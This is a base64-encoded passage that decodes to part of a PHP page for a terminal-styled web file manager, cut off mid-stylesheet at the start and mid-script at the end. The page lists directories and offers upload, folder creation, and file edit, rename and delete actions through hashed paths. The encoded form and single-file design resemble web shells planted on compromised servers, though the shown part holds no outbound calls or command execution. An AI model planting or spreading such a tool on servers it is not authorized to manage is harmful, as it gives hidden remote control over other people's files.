eDsgaGVpZ2h0OiAxMnB4OyBib3JkZXItcmFkaXVzOiA1MCU7IH0NCiAgICAgICAgLnJlZCB7IGJhY2tncm91bmQtY29sb3I6ICNmZjVmNTY7IH0NCiAgICAgICAgLnllbGxvdyB7IGJhY2tncm91bmQtY29sb3I6ICNmZmJkMmU7IH0NCiAgICAgICAgLmdyZWVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzI3YzkzZjsgfQ0KDQogICAgICAgIC5uYXYtYXJlYSB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXg6IDE7IG1hcmdpbjogMCAxNXB4OyB9DQoNCiAgICAgICAgLmJ0bi11cCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbnB1dCk7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4OyBtYXJnaW4tcmlnaHQ6IDEwcHg7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOyBmb250LXNpemU6IDEycHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAuYnRuLXVwOmhvdmVyIHsgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAuYnRuLXVwLmRpc2FibGVkIHsgb3BhY2l0eTogMC4zOyBwb2ludGVyLWV2ZW50czogbm9uZTsgfQ0KDQogICAgICAgIC5wYXRoLWRpc3BsYXkgew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtZGltKTsgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctaW5wdXQpOw0KICAgICAgICAgICAgcGFkZGluZzogMnB4IDhweDsgYm9yZGVyLXJhZGl1czogM3B4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBmbGV4OiAxOyB3aGl0ZS1zcGFjZTogbm93cmFwOyBvdmVyZmxvdzogaGlkZGVuOyB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsNCiAgICAgICAgfQ0KDQogICAgICAgIC8qIE1haW4gQ29udGVudCAqLw0KICAgICAgICAubWFpbi1jb250ZW50IHsgZmxleDogMTsgb3ZlcmZsb3cteTogYXV0bzsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIC8qIFN0YXR1cyBNZXNzYWdlIChUZXJtaW5hbCBTdHlsZSkgKi8NCiAgICAgICAgLmNvbnNvbGUtbXNnIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMik7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAuY29uc29sZS1tc2cuc3VjY2VzcyB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICB9DQogICAgICAgIC5jb25zb2xlLW1zZy5lcnJvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLWVycm9yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1lcnJvcik7DQogICAgICAgIH0NCiAgICAgICAgLmNvbnNvbGUtbXNnOjpiZWZvcmUgew0KICAgICAgICAgICAgY29udGVudDogIj4+ICI7DQogICAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1oZWFkZXIgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDVweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1yb3cgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgcGFkZGluZzogNHB4IDA7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgcmdiYSg2MiwgNTMsIDQ2LCAwLjUpOw0KICAgICAgICB9DQogICAgICAgIC5maWxlLXJvdzpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjAwLCAxNTUsIDEwOSwgMC4xKTsgfQ0KDQogICAgICAgIC5jb2wtcGVybSB7IHdpZHRoOiA1MHB4OyBjb2xvcjogdmFyKC0tdGV4dC1kaW0pOyB9DQogICAgICAgIC5jb2wtc2l6ZSB7IHdpZHRoOiA4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgcGFkZGluZy1yaWdodDogMTVweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgfQ0KICAgICAgICAuY29sLWRhdGUgeyB3aWR0aDogMTIwcHg7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IH0NCiAgICAgICAgLmNvbC1uYW1lIHsgZmxleDogMTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNvbC1hY3Rpb25zIHsgd2lkdGg6IDE4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQ0KDQogICAgICAgIC5pcy1kaXIgLmNvbC1uYW1lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCiAgICAgICAgLmlzLWxpbmsgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBpbmhlcml0OyBkaXNwbGF5OiBibG9jazsgfQ0KICAgICAgICAuaXMtbGluazpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQoNCiAgICAgICAgLmNtZC1saW5rIHsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICB9DQogICAgICAgIC5jbWQtbGluazpob3ZlciB7IGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYmctZGFyayk7IH0NCg0KICAgICAgICAvKiBCb3R0b20gUGFuZWwgKi8NCiAgICAgICAgLmJvdHRvbS1wYW5lbCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgLmNtZC1saW5lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IG1hcmdpbi1yaWdodDogNXB4OyB3aGl0ZS1zcGFjZTogbm93cmFwOyB9DQogICAgICAgIC5hY3Rpb24tZm9ybSB7IGRpc3BsYXk6IGZsZXg7IGdhcDogNXB4OyB3aWR0aDogMTAwJTsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQ0KICAgICAgICANCiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCB0ZXh0YXJlYSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLWlucHV0KTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7IHBhZGRpbmc6IDVweDsgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0geyBmbGV4OiAxOyB9DQogICAgICAgIA0KICAgICAgICBidXR0b24gew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYm9yZGVyKTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1hY2NlbnQpOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7DQogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTJweDsgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIGJ1dHRvbjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHZhcigtLWFjY2VudCk7IGNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgfQ0KDQogICAgICAgIC8qIEdFTkVSSUMgTU9EQUwgU1RZTEUgKi8NCiAgICAgICAgLm1vZGFsLW92ZXJsYXkgew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZTsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuODUpOyB6LWluZGV4OiA5OTk7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJveCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1wYW5lbCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyBtaW4td2lkdGg6IDMwMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAxNXB4Ow0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWhlYWRlciB7IGZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC1zaXplOiAxNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtZm9vdGVyIHsgdGV4dC1hbGlnbjogcmlnaHQ7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7IGdhcDogMTBweDsgfQ0KDQogICAgICAgIC8qIEVkaXRvciBTcGVjaWZpYyAqLw0KICAgICAgICAjZWRpdG9yLW1vZGFsIC5tb2RhbC1ib3ggeyB3aWR0aDogODAlOyBoZWlnaHQ6IDgwJTsgfQ0KICAgICAgICAjZWRpdG9yLWFyZWEgeyBmbGV4OiAxOyByZXNpemU6IG5vbmU7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlucHV0KTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgeyB3aWR0aDogOHB4OyB9DQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1kYXJrKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYWNjZW50KTsgfQ0KDQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC13aW5kb3ciPg0KICAgIDwhLS0gSGVhZGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9InRvcC1iYXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ3aW5kb3ctY29udHJvbHMiPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHJlZCI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHllbGxvdyI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IGdyZWVuIj48L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWFyZWEiPg0KICAgICAgICAgICAgPD9waHAgaWYgKCRjYW5fZ29fdXApOiA/Pg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij88P3BocCBlY2hvIFBfRElSOyA/Pj08P3BocCBlY2hvIGdldF9oYXNoKCRwYXJlbnRfZGlyKTsgPz4iIGNsYXNzPSJidG4tdXAiIHRpdGxlPSJQYXJlbnQgRGlyZWN0b3J5Ij4mbHQ7IFVQPC9hPg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYnRuLXVwIGRpc2FibGVkIj4mbHQ7IFVQPC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhdGgtZGlzcGxheSIgdGl0bGU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X2Rpcik7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIE1haW4gQ29udGVudCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICA8IS0tIFN0YXR1cyBNZXNzYWdlIC0tPg0KICAgICAgICA8P3BocCBpZiAoJHN0YXR1c19tc2cpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29uc29sZS1tc2cgPD9waHAgZWNobyAkc3RhdHVzX3R5cGU7ID8+Ij4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRzdGF0dXNfbXNnOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaGVhZGVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj5QZXJtczwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNpemUiPlNpemU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1kYXRlIj5Nb2RpZmllZDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW5hbWUiPk5hbWU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj5BY3Rpb25zPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDw/cGhwIGZvcmVhY2ggKCRhbGxfaXRlbXMgYXMgJGl0ZW0pOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1yb3cgPD9waHAgZWNobyAkaXRlbVsnaXNfZGlyJ10gPyAnaXMtZGlyJyA6ICdpcy1maWxlJzsgPz4iPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj48P3BocCBlY2hvICRpdGVtWydwZXJtcyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zaXplIj48P3BocCBlY2hvICRpdGVtWydpc19kaXInXSA/ICdESVInIDogZm9ybWF0X3NpemUoJGl0ZW1bJ3NpemUnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWRhdGUiPjw/cGhwIGVjaG8gJGl0ZW1bJ21vZCddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWydpc19kaXInXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/PD9waHAgZWNobyBQX0RJUjsgPz49PD9waHAgZWNobyAkaXRlbVsnaGFzaCddOyA/PiIgY2xhc3M9ImlzLWxpbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXRlbVsnaXNfZGlyJ10pOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRWRpdG9yKCc8P3BocCBlY2hvICRpdGVtWydoYXNoJ107ID8+JywgJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRpdGVtWyduYW1lJ10pKTsgPz4nKSI+W2VkaXRdPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bcmVuYW1lXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRGVsZXRlTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bZGVsZXRlXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICANCiAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRhbGxfaXRlbXMpKTogPz4NCiAgICAgICAgICAgIDxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDsgY29sb3I6dmFyKC0tdGV4dC1kaW0pOyI+RGlyZWN0b3J5IGlzIGVtcHR5LjwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gQm90dG9tIFBhbmVsIC0tPg0KICAgIDxkaXYgY2xhc3M9ImJvdHRvbS1wYW5lbCI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImFjdGlvbi1mb3JtIiBzdHlsZT0iZmxleDoyOyI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvIFBfQUNUSU9OOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gQV9VUDsgPz4iPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX1RBUkc7ID8+IiB2YWx1ZT0iPD9waHAgZWNobyBnZXRfaGFzaCgkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICA8c3BhbiBjbGFzcz0iY21kLWxpbmUiPnVwbG9hZCZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iPD9waHAgZWNobyBQX0ZJTEU7ID8+Ij4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZW5kPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJhY3Rpb24tZm9ybSIgc3R5bGU9ImZsZXg6MTsiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0FDVElPTjsgPz4iIHZhbHVlPSI8P3BocCBlY2hvIEFfTUtESVI7ID8+Ij4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9UQVJHOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0X2hhc2goJGN1cnJlbnRfZGlyKTsgPz4iPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5lIj5ta2RpciZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyBQX05BTUU7ID8+IiBwbGFjZWhvbGRlcj0ibmV3X2ZvbGRlciIgcmVxdWlyZWQ+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+KzwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPCEtLSBISURERU4gRk9STVMgRk9SIEFDVElPTlMgLS0+DQo8Zm9ybSBpZD0iYWN0aW9uLWZvcm0iIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9BQ1RJT047ID8+IiBpZD0iYWN0LWFjdGlvbiI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0hBU0g7ID8+IiBpZD0iYWN0LWhhc2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9OQU1FOyA/PiIgaWQ9ImFjdC1uZXduYW1lIj4NCjwvZm9ybT4NCg0KPCEtLSBERUxFVEUgTU9EQUwgLS0+DQo8ZGl2IGlkPSJkZWxldGUtbW9kYWwiIGNsYXNzPSJtb2RhbC1vdmVybGF5Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib3giPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkRlbGV0ZSBDb25maXJtYXRpb248L2Rpdj4NCiAgICAgICAgPGRpdj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIDxiIGlkPSJkZWwtZmlsZW5hbWUiPmZpbGU8L2I+PzwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtRGVsZXRlKCkiPkRlbGV0ZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIFJFTkFNRSBNT0RBTCAtLT4NCjxkaXYgaWQ9InJlbmFtZS1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+UmVuYW1lPC9kaXY+DQogICAgICAgIDxkaXY+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InJlbi1pbnB1dCIgc3R5bGU9IndpZHRoOjEwMCU7IHBhZGRpbmc6OHB4OyI+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtUmVuYW1lKCkiPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIEVESVRPUiBNT0RBTCAtLT4NCjxkaXYgaWQ9ImVkaXRvci1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciIgc3R5bGU9ImRpc3BsYXk6ZmxleDsganVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgIDxzcGFuIGlkPSJlZGl0b3ItZmlsZW5hbWUiPkVkaXRpbmc8L3NwYW4+DQogICAgICAgICAgICA8c3BhbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIj5beF08L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8dGV4dGFyZWEgaWQ9ImVkaXRvci1hcmVhIj48L3RleHRhcmVhPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzYXZlRWRpdCgpIj5TYXZlPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgLy8gSGVscGVycw0KICAgIGNvbnN0IFBfQUNUSU9OID0gJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JzsNCiAgICBjb25zdCBBX0RFTCA9ICc8P3BocCBlY2hvIEFfREVMOyA/Pic7DQogICAgY29uc3QgQV9SRU4gPSAnPD9waHAgZWNobyBBX1JFTjsgPz4nOw0KICAgIGNvbnN0IEFfRURJVCA9ICc8P3BocCBlY2hvIEFfRURJVDsgPz4nOw0KICAgIA0KICAgIGxldCBjdXJyZW50QWN0aW9uSGFzaCA9IG51bGw7DQoNCiAgICAvLyBNb2RhbCBIYW5kbGVycw0KICAgIGZ1bmN0aW9uIGNsb3NlTW9kYWxzKCkgew0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtb3ZlcmxheScpLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICdub25lJyk7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gbnVsbDsNCiAgICB9DQoNCiAgICAvLyBEZWxldGUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuRGVsZXRlTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWwtZmlsZW5hbWUnKS5pbm5lclRleHQgPSBuYW1lOw0KICAgICAgICBkb2N1bWVudC5nZXRF